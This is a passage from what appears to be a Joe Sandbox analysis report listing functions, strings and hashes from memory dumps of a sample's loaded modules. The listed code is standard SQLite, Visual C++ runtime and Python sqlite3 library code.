Cannot add a PRIMARY KEY column, xrefs: 00007FFB0C077881
Cannot add a column with non-constant default, xrefs: 00007FFB0C077969
Cannot add a NOT NULL column with default value NULL, xrefs: 00007FFB0C07790F
SELECT CASE WHEN quick_check GLOB 'CHECK*' THEN raise(ABORT,'CHECK constraint failed') WHEN quick_check GLOB 'non-* value in*' THEN raise(ABORT,'type mismatch on DEFAULT') ELSE raise(ABORT,'NOT NULL constraint failed') END FROM pragma_quick_check(%Q,%Q) WHERE, xrefs: 00007FFB0C077C5C
UPDATE "%w".sqlite_master SET sql = printf('%%.%ds, ',sql) || %Q || substr(sql,1+length(printf('%%.%ds',sql))) WHERE type = 'table' AND name = %Q, xrefs: 00007FFB0C077B14
Cannot add a UNIQUE column, xrefs: 00007FFB0C07789C
Cannot add a REFERENCES column with non-NULL default value, xrefs: 00007FFB0C0778ED

Memory Dump Source

Source File: 00000007.00000002.1712903325.00007FFB0C021000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00007FFB0C020000, based on PE: true

Associated: 00000007.00000002.1712866038.00007FFB0C020000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1712903325.00007FFB0C181000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1712903325.00007FFB0C183000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1712903325.00007FFB0C198000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1713147144.00007FFB0C19A000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1713182254.00007FFB0C19C000.00000004.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffb0c020000_X9g8L63QGs.jbxd

Similarity

API ID: 00007C263010
String ID: Cannot add a NOT NULL column with default value NULL$Cannot add a PRIMARY KEY column$Cannot add a REFERENCES column with non-NULL default value$Cannot add a UNIQUE column$Cannot add a column with non-constant default$SELECT CASE WHEN quick_check GLOB 'CHECK*' THEN raise(ABORT,'CHECK constraint failed') WHEN quick_check GLOB 'non-* value in*' THEN raise(ABORT,'type mismatch on DEFAULT') ELSE raise(ABORT,'NOT NULL constraint failed') END FROM pragma_quick_check(%Q,%Q) WHERE$SELECT raise(ABORT,%Q) FROM "%w"."%w"$UPDATE "%w".sqlite_master SET sql = printf('%%.%ds, ',sql) || %Q || substr(sql,1+length(printf('%%.%ds',sql))) WHERE type = 'table' AND name = %Q$cannot add a STORED column
API String ID: 3122504284-200680935
Opcode ID: 5b4710b465af85f28d42b2c529d5cd9f71a28c578942a5c84c3729e8c5c3be64
Instruction ID: 1f3181db8793ffac6fad5e85c5f5e5c6591ddfc7c0efae05483cabd4956e60f0
Opcode Fuzzy Hash: 5b4710b465af85f28d42b2c529d5cd9f71a28c578942a5c84c3729e8c5c3be64
Instruction Fuzzy Hash: 6AE1B0E1A09B8285EB6A8B39D148B7923A1FF44BC4F648235DE8D07795EF3CE455C708

Function 00007FFB1C2519D4 Relevance: 17.8, APIs: 7, Strings: 3, Instructions: 311COMMON

Download Yara Rule

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 00007FFB1C251A31

Part of subcall function 00007FFB1C253E04: __GetUnwindTryBlock.LIBCMT ref: 00007FFB1C253E47
Part of subcall function 00007FFB1C253E04: __SetUnwindTryBlock.LIBVCRUNTIME ref: 00007FFB1C253E6C

Is_bad_exception_allowed.LIBVCRUNTIME ref: 00007FFB1C251B09
terminate.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FFB1C251B16
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 00007FFB1C251D59
terminate.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FFB1C251D87

Part of subcall function 00007FFB1C255508: abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,00007FFB1C25108E), ref: 00007FFB1C255516

abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FFB1C251E4E
std::bad_alloc::bad_alloc.LIBCMT ref: 00007FFB1C251E83

Strings

csm, xrefs: 00007FFB1C251B2E
csm, xrefs: 00007FFB1C251AB2
csm, xrefs: 00007FFB1C251A4B

Memory Dump Source

Source File: 00000007.00000002.1715692326.00007FFB1C251000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFB1C250000, based on PE: true

Associated: 00000007.00000002.1715650944.00007FFB1C250000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1715735925.00007FFB1C264000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1715777428.00007FFB1C269000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1715818880.00007FFB1C26A000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffb1c250000_X9g8L63QGs.jbxd

Similarity

API ID: BlockFrameHandler3::Unwindabortterminate$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 4223619315-393685449
Opcode ID: 6da6cceb144a245c76afb91d09171081a696858682c4f12eaced2770b517540e
Instruction ID: fa7fb75d62b7b4ebdd1d0df13c432006271b1b1c6cd371580c2319c06b64b1c9
Opcode Fuzzy Hash: 6da6cceb144a245c76afb91d09171081a696858682c4f12eaced2770b517540e
Instruction Fuzzy Hash: 97D14FE2A08B4187EB20ABB5D4493EE67A2FB467A8F300135DE4D57755DF38E891C780

Function 00007FFB1C257888 Relevance: 16.7, APIs: 11, Instructions: 158COMMONLIBRARYCODE

Download Yara Rule

APIs

DName::operator+.LIBVCRUNTIME ref: 00007FFB1C2578F0
DName::operator+.LIBVCRUNTIME ref: 00007FFB1C2579ED
DName::operator+.LIBVCRUNTIME ref: 00007FFB1C257A46
DName::operator+.LIBVCRUNTIME ref: 00007FFB1C257A72
DName::operator+.LIBVCRUNTIME ref: 00007FFB1C257A84
DName::operator+.LIBVCRUNTIME ref: 00007FFB1C257AB3

Memory Dump Source

Source File: 00000007.00000002.1715692326.00007FFB1C251000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFB1C250000, based on PE: true

Associated: 00000007.00000002.1715650944.00007FFB1C250000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1715735925.00007FFB1C264000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1715777428.00007FFB1C269000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1715818880.00007FFB1C26A000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffb1c250000_X9g8L63QGs.jbxd

Similarity

API ID: Name::operator+
String ID:
API String ID: 2943138195-0
Opcode ID: 59ff93c280199e5836e6df8be1a97549f355a4d451030ffe8799044faf8f3d85
Instruction ID: 43c7f1a651a8bdf71d147bdc26858b45025d6ebf886c8e09b8baee745e5e17d5
Opcode Fuzzy Hash: 59ff93c280199e5836e6df8be1a97549f355a4d451030ffe8799044faf8f3d85
Instruction Fuzzy Hash: AE7149F2B54A42AAEB10EF74D4541ED23B2AB05B9CB904431DE0D57B99EF38DA19C3D0

Function 00007FFB1C25D650 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 194COMMONLIBRARYCODE

Download Yara Rule

Strings

generic-type-, xrefs: 00007FFB1C25D753
`template-parameter-, xrefs: 00007FFB1C25D73F
`generic-type-, xrefs: 00007FFB1C25D786
template-parameter-, xrefs: 00007FFB1C25D70C

Memory Dump Source

Source File: 00000007.00000002.1715692326.00007FFB1C251000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFB1C250000, based on PE: true

Associated: 00000007.00000002.1715650944.00007FFB1C250000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1715735925.00007FFB1C264000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1715777428.00007FFB1C269000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1715818880.00007FFB1C26A000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffb1c250000_X9g8L63QGs.jbxd

Similarity

API ID:
String ID: `generic-type-$`template-parameter-$generic-type-$template-parameter-
API String ID: 0-3207858774
Opcode ID: 6ea09e53c78372fd51fc6217c56ea2e3ac166cdbb3b457d9f2a8c27783302216
Instruction ID: 21f95a551f79e368d2a4021ed11e50ab3ced67fecd41bbfd0027d7713ff42324
Opcode Fuzzy Hash: 6ea09e53c78372fd51fc6217c56ea2e3ac166cdbb3b457d9f2a8c27783302216
Instruction Fuzzy Hash: F281ADE2B08E868AFB10AF34D5582F923A2AB55B64F645132DE4D03795DF3CE946C390

Function 00007FFB1C259358 Relevance: 15.9, APIs: 2, Strings: 7, Instructions: 126COMMONLIBRARYCODE

Download Yara Rule

APIs

DName::operator+.LIBVCRUNTIME ref: 00007FFB1C2593B2
DName::operator+.LIBVCRUNTIME ref: 00007FFB1C2594E8

Strings

`unknown ecsu', xrefs: 00007FFB1C25937E
struct , xrefs: 00007FFB1C25950C
coclass , xrefs: 00007FFB1C2594A1
union , xrefs: 00007FFB1C259515
enum , xrefs: 00007FFB1C2594C5
class , xrefs: 00007FFB1C2594FD
cointerface , xrefs: 00007FFB1C25948F

Memory Dump Source

Source File: 00000007.00000002.1715692326.00007FFB1C251000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFB1C250000, based on PE: true

Associated: 00000007.00000002.1715650944.00007FFB1C250000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1715735925.00007FFB1C264000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1715777428.00007FFB1C269000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1715818880.00007FFB1C26A000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffb1c250000_X9g8L63QGs.jbxd

Similarity

API ID: Name::operator+
String ID: `unknown ecsu'$class $coclass $cointerface $enum $struct $union
API String ID: 2943138195-1464470183
Opcode ID: af40fed7b60034fd5c5e0a5ae54bcf9e4d80c7769b22b13ab88bd66fa3393346
Instruction ID: 8e6988c52f786e2bec4e648838aa27d8f4edd40a3b11ac3f2d20a2bde2a8fb1b
Opcode Fuzzy Hash: af40fed7b60034fd5c5e0a5ae54bcf9e4d80c7769b22b13ab88bd66fa3393346
Instruction Fuzzy Hash: E0514DE1F18E628AEB10FB74E8485ED2772BB06364F640035DE0D57B98DF68E955C780

Function 00007FFB0C1AB530 Relevance: 15.2, APIs: 10, Instructions: 227COMMON

Download Yara Rule

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 00007FFB0C1AB558
__scrt_acquire_startup_lock.LIBCMT ref: 00007FFB0C1AB5AA
_RTC_Initialize.LIBCMT ref: 00007FFB0C1AB5D8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 00007FFB0C1AB5FE
__scrt_release_startup_lock.LIBCMT ref: 00007FFB0C1AB629

Memory Dump Source

Source File: 00000007.00000002.1713252916.00007FFB0C1A1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00007FFB0C1A0000, based on PE: true

Associated: 00000007.00000002.1713216867.00007FFB0C1A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1713252916.00007FFB0C1B9000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1713252916.00007FFB0C1BF000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1713365488.00007FFB0C1C1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1713399942.00007FFB0C1C3000.00000004.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffb0c1a0000_X9g8L63QGs.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID:
API String ID: 190073905-0
Opcode ID: e017fc91d69bddb9aae330796ab311efe2c6512c7b4295912f4e83d96bc88404
Instruction ID: 952d2c21f5f4bbb41483aea067b41e872e086a53fd06919717b55bbe5ee7795e
Opcode Fuzzy Hash: e017fc91d69bddb9aae330796ab311efe2c6512c7b4295912f4e83d96bc88404
Instruction Fuzzy Hash: 3981B0F1E0C28787FA54AB76D459EB926D1AF45B80F4840B5DA0C473E6DF7CE8568B00

Function 00007FFB1BB1A250 Relevance: 15.2, APIs: 10, Instructions: 227COMMON

Download Yara Rule

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 00007FFB1BB1A278
__scrt_acquire_startup_lock.LIBCMT ref: 00007FFB1BB1A2CA
_RTC_Initialize.LIBCMT ref: 00007FFB1BB1A2F8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 00007FFB1BB1A31E
__scrt_release_startup_lock.LIBCMT ref: 00007FFB1BB1A349

Memory Dump Source

Source File: 00000007.00000002.1715481605.00007FFB1BB11000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00007FFB1BB10000, based on PE: true

Associated: 00000007.00000002.1715437200.00007FFB1BB10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1715481605.00007FFB1BB25000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1715572310.00007FFB1BB26000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1715611009.00007FFB1BB28000.00000004.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffb1bb10000_X9g8L63QGs.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID:
API String ID: 190073905-0
Opcode ID: 8f3bb3efd0dc3dc77f511d6591a1c1719394010db589a06ea761acdf96903b58
Instruction ID: cfbb10fe3126f1148c559b81d2f2176fdc6120e20b7c48e0bd93523359cc5504
Opcode Fuzzy Hash: 8f3bb3efd0dc3dc77f511d6591a1c1719394010db589a06ea761acdf96903b58
Instruction Fuzzy Hash: 3B816AA9E08E42C6F671AB75F44137B62D2FF857A0F54E035D92C52AB6DE2CF8468600

Function 00007FFB1AB03D20 Relevance: 15.2, APIs: 10, Instructions: 227COMMON

Download Yara Rule

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 00007FFB1AB03D48
__scrt_acquire_startup_lock.LIBCMT ref: 00007FFB1AB03D9A
_RTC_Initialize.LIBCMT ref: 00007FFB1AB03DC8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 00007FFB1AB03DEE
__scrt_release_startup_lock.LIBCMT ref: 00007FFB1AB03E19

Memory Dump Source

Source File: 00000007.00000002.1714746731.00007FFB1AB01000.00000040.00000001.01000000.00000012.sdmp, Offset: 00007FFB1AB00000, based on PE: true

Associated: 00000007.00000002.1714712112.00007FFB1AB00000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000007.00000002.1714746731.00007FFB1AB0E000.00000040.00000001.01000000.00000012.sdmpDownload File
Associated: 00000007.00000002.1714746731.00007FFB1AB11000.00000040.00000001.01000000.00000012.sdmpDownload File
Associated: 00000007.00000002.1714860777.00007FFB1AB12000.00000080.00000001.01000000.00000012.sdmpDownload File
Associated: 00000007.00000002.1714897323.00007FFB1AB13000.00000004.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffb1ab00000_X9g8L63QGs.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID:
API String ID: 190073905-0
Opcode ID: ebbc11ed6d4e2b153bf3b51c5f0c9a30cc048fc894ebc4ddcddd757e94eb54ba
Instruction ID: 66cb7cb02361b29f9eae1c642b68e93770d181a7344dd1ab956563e7f869aa6a
Opcode Fuzzy Hash: ebbc11ed6d4e2b153bf3b51c5f0c9a30cc048fc894ebc4ddcddd757e94eb54ba
Instruction Fuzzy Hash: B781A0A9E09EC346F670AB75D6C427B56BBAF417A0F0481B7DA0C63293DE2CF8458210

Function 00007FFB1D5B1190 Relevance: 15.2, APIs: 10, Instructions: 227COMMON

Download Yara Rule

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 00007FFB1D5B11B8
__scrt_acquire_startup_lock.LIBCMT ref: 00007FFB1D5B120A
_RTC_Initialize.LIBCMT ref: 00007FFB1D5B1238
__scrt_dllmain_after_initialize_c.LIBCMT ref: 00007FFB1D5B125E
__scrt_release_startup_lock.LIBCMT ref: 00007FFB1D5B1289

Memory Dump Source

Source File: 00000007.00000002.1716138569.00007FFB1D5B1000.00000040.00000001.01000000.0000000E.sdmp, Offset: 00007FFB1D5B0000, based on PE: true

Associated: 00000007.00000002.1716097392.00007FFB1D5B0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.1716138569.00007FFB1D5B9000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.1716221369.00007FFB1D5BA000.00000080.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.1716259793.00007FFB1D5BC000.00000004.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffb1d5b0000_X9g8L63QGs.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID:
API String ID: 190073905-0
Opcode ID: b57b117b731fe6fadf01a2aa5e6dfd03c7664753ee25818152bc9f2dcd8646e2
Instruction ID: b71b467a31af8f517c4930e8631eb92ce16f5ab412854cdd3834d63191835016
Opcode Fuzzy Hash: b57b117b731fe6fadf01a2aa5e6dfd03c7664753ee25818152bc9f2dcd8646e2
Instruction Fuzzy Hash: CE818AA1E0CE4386FA949B76D441AB97293AF8D7A0F548335DE0D97696FF3CE8058700

Function 00007FFB0C082070 Relevance: 14.4, APIs: 1, Strings: 7, Instructions: 414COMMON

Download Yara Rule

APIs

00007FFB1C263010.VCRUNTIME140 ref: 00007FFB0C08210A

Strings

view, xrefs: 00007FFB0C08219E, 00007FFB0C0822B4
temporary table name must be unqualified, xrefs: 00007FFB0C08213E
sqlite_temp_master, xrefs: 00007FFB0C0820C9, 00007FFB0C0821CD
table, xrefs: 00007FFB0C0821A5
sqlite_master, xrefs: 00007FFB0C08208F, 00007FFB0C0821F2, 00007FFB0C082544
%s %T already exists, xrefs: 00007FFB0C0822AD
there is already an index named %s, xrefs: 00007FFB0C08231E

Memory Dump Source

Source File: 00000007.00000002.1712903325.00007FFB0C021000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00007FFB0C020000, based on PE: true

Associated: 00000007.00000002.1712866038.00007FFB0C020000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1712903325.00007FFB0C181000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1712903325.00007FFB0C183000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1712903325.00007FFB0C198000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1713147144.00007FFB0C19A000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1713182254.00007FFB0C19C000.00000004.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffb0c020000_X9g8L63QGs.jbxd

Similarity

API ID: 00007C263010
String ID: %s %T already exists$sqlite_master$sqlite_temp_master$table$temporary table name must be unqualified$there is already an index named %s$view
API String ID: 3122504284-2846519077
Opcode ID: f9b62292e15983dd92f3d336a42f126a0ce1eb18eb7dc8c6fabe0fe700413ad5
Instruction ID: b81e9b527ff7efcf1b31070570f902784f109845723cc08e3c5e8d03cb392498
Opcode Fuzzy Hash: f9b62292e15983dd92f3d336a42f126a0ce1eb18eb7dc8c6fabe0fe700413ad5
Instruction Fuzzy Hash: 27029DF2A0868286EB149B31D418BAA37A5FF85B84F408235DA8D07796EF3CE555C708

Function 00007FFB1C251E9C Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 317COMMON

Download Yara Rule

APIs

Is_bad_exception_allowed.LIBVCRUNTIME ref: 00007FFB1C25203A
terminate.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FFB1C252047

Part of subcall function 00007FFB1C255508: abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,00007FFB1C25108E), ref: 00007FFB1C255516

terminate.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FFB1C2522FB
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FFB1C252346
std::bad_alloc::bad_alloc.LIBCMT ref: 00007FFB1C25237B

Strings

csm, xrefs: 00007FFB1C251F81
csm, xrefs: 00007FFB1C251FE3
csm, xrefs: 00007FFB1C252063

Memory Dump Source

Source File: 00000007.00000002.1715692326.00007FFB1C251000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFB1C250000, based on PE: true

Associated: 00000007.00000002.1715650944.00007FFB1C250000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1715735925.00007FFB1C264000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1715777428.00007FFB1C269000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1715818880.00007FFB1C26A000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffb1c250000_X9g8L63QGs.jbxd

Similarity

API ID: abortterminate$Is_bad_exception_allowedstd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 211107550-393685449
Opcode ID: 579c448420c1f2a36cb32246af93653fbc5f1fd4bf1dbfa0e8ef84cdd48a3a2d
Instruction ID: 01707ce710b01b15d1389618744436e6178d0282794980ae9cffa40c253f3bbb
Opcode Fuzzy Hash: 579c448420c1f2a36cb32246af93653fbc5f1fd4bf1dbfa0e8ef84cdd48a3a2d
Instruction Fuzzy Hash: 99E183F2908A818BE710AF74D4483EE77A2FB56768F244135EA8D57795DF38E881C780

Function 00007FFB0C1A4430 Relevance: 14.2, APIs: 1, Strings: 7, Instructions: 198COMMON

Download Yara Rule

APIs

00007FFB0C2F805C.PYTHON312 ref: 00007FFB0C1A457F

Strings

argument 1, xrefs: 00007FFB0C1ACF35
factory must return a cursor, not %.100s, xrefs: 00007FFB0C1ACED7
str, xrefs: 00007FFB0C1ACF2E
Base Connection.__init__ not called., xrefs: 00007FFB0C1ACEAE
Cannot operate on a closed database., xrefs: 00007FFB0C1A4626
SQLite objects created in a thread can only be used in that same thread. The object was created in thread id %lu and this is thread id %lu., xrefs: 00007FFB0C1ACE77
execute, xrefs: 00007FFB0C1ACE4A, 00007FFB0C1ACF3C

Memory Dump Source

Source File: 00000007.00000002.1713252916.00007FFB0C1A1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00007FFB0C1A0000, based on PE: true

Associated: 00000007.00000002.1713216867.00007FFB0C1A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1713252916.00007FFB0C1B9000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1713252916.00007FFB0C1BF000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1713365488.00007FFB0C1C1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1713399942.00007FFB0C1C3000.00000004.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffb0c1a0000_X9g8L63QGs.jbxd

Similarity

API ID: 00007F805
String ID: Base Connection.__init__ not called.$Cannot operate on a closed database.$SQLite objects created in a thread can only be used in that same thread. The object was created in thread id %lu and this is thread id %lu.$argument 1$execute$factory must return a cursor, not %.100s$str
API String ID: 4011786353-652842647
Opcode ID: 269fade6d050ff23afb70b2ed00da13a9c7e305b9570e32f8a79332b38a23695
Instruction ID: cda3a872c6ff2242a8c1601fa1d6f39b4534e31376831215d223b3bf7d7dc6b9
Opcode Fuzzy Hash: 269fade6d050ff23afb70b2ed00da13a9c7e305b9570e32f8a79332b38a23695
Instruction Fuzzy Hash: 2F9138F2A09A42C6EA548F76E45897923A0FF85F95F1050B2CA0E43764EF7DE886C740

Function 00007FFB0C030A30 Relevance: 14.1, APIs: 1, Strings: 7, Instructions: 135COMMON

Download Yara Rule

APIs

new[].MSPDB140-MSVCRT ref: 00007FFB0C030B47

Strings

?, xrefs: 00007FFB0C030A71
:, xrefs: 00007FFB0C030A61
:, xrefs: 00007FFB0C030A9C
winFullPathname1, xrefs: 00007FFB0C030B2C
\, xrefs: 00007FFB0C030AB8
winFullPathname2, xrefs: 00007FFB0C030BB5
%s%c%s, xrefs: 00007FFB0C030AA6

Memory Dump Source

Source File: 00000007.00000002.1712903325.00007FFB0C021000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00007FFB0C020000, based on PE: true

Associated: 00000007.00000002.1712866038.00007FFB0C020000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1712903325.00007FFB0C181000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1712903325.00007FFB0C183000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1712903325.00007FFB0C198000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1713147144.00007FFB0C19A000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1713182254.00007FFB0C19C000.00000004.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffb0c020000_X9g8L63QGs.jbxd

Similarity

API ID: new[]
String ID: %s%c%s$:$:$?$\$winFullPathname1$winFullPathname2
API String ID: 4059295235-3840279414
Opcode ID: 7514e8fd5d93be79fc71e0024bcf4f49aeb845a9e117b097cb897556365a7ddf
Instruction ID: f1dbb15dc59035a5518c761e0081634d226e979d6a9a94eee62efcd31712d85f
Opcode Fuzzy Hash: 7514e8fd5d93be79fc71e0024bcf4f49aeb845a9e117b097cb897556365a7ddf
Instruction Fuzzy Hash: 5851BFE1E0D68285FB159F71E419EBA6695BF44B88F484036ED4D07686EF3CE849C70C

Function 00007FFB1C25B088 Relevance: 14.1, APIs: 2, Strings: 6, Instructions: 111COMMONLIBRARYCODE

Download Yara Rule

APIs

DName::operator+.LIBVCRUNTIME ref: 00007FFB1C25B23C

Part of subcall function 00007FFB1C257BDC: DName::operator+.LIBVCRUNTIME ref: 00007FFB1C258147
Part of subcall function 00007FFB1C257BDC: DName::operator+.LIBVCRUNTIME ref: 00007FFB1C25817F

DName::operator+.LIBVCRUNTIME ref: 00007FFB1C25B1EE

Strings

cli::pin_ptr<, xrefs: 00007FFB1C25B205
std::nullptr_t , xrefs: 00007FFB1C25B17A
void, xrefs: 00007FFB1C25B0D2
cli::array<, xrefs: 00007FFB1C25B1BB
std::nullptr_t, xrefs: 00007FFB1C25B167
void , xrefs: 00007FFB1C25B0FA

Memory Dump Source

Source File: 00000007.00000002.1715692326.00007FFB1C251000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFB1C250000, based on PE: true

Associated: 00000007.00000002.1715650944.00007FFB1C250000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1715735925.00007FFB1C264000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1715777428.00007FFB1C269000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1715818880.00007FFB1C26A000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffb1c250000_X9g8L63QGs.jbxd

Similarity

API ID: Name::operator+
String ID: cli::array<$cli::pin_ptr<$std::nullptr_t$std::nullptr_t $void$void
API String ID: 2943138195-2239912363
Opcode ID: b834bdc2b4e624d8bfe4a0aa6ffd56aa1f04fb76a255bf56b0e6c1b80a1fdf25
Instruction ID: 5d3ef1d631bd698dfa74c398e5f6b4b859a9604e4cc250179dd2aaa65598eb5e
Opcode Fuzzy Hash: b834bdc2b4e624d8bfe4a0aa6ffd56aa1f04fb76a255bf56b0e6c1b80a1fdf25
Instruction Fuzzy Hash: 2F514DE2E18F918AFB51AB74D8482FD37A2BB05764F648135CE4D12B95DF3CA484CB90

Function 00007FFB0C1A5DC2 Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 72COMMON

Download Yara Rule

APIs

00007FFB2ADB6A30.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FFB0C1A5C8F
00007FFB2ADB6A30.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FFB0C1A5CAD
00007FFB2ADB6A30.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FFB0C1A5CCB
00007FFB2ADB6A30.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FFB0C1A5CE9

Strings

delete, xrefs: 00007FFB0C1A5CC1
insert, xrefs: 00007FFB0C1A5C85
update, xrefs: 00007FFB0C1A5CA3
replace, xrefs: 00007FFB0C1A5CDF

Memory Dump Source

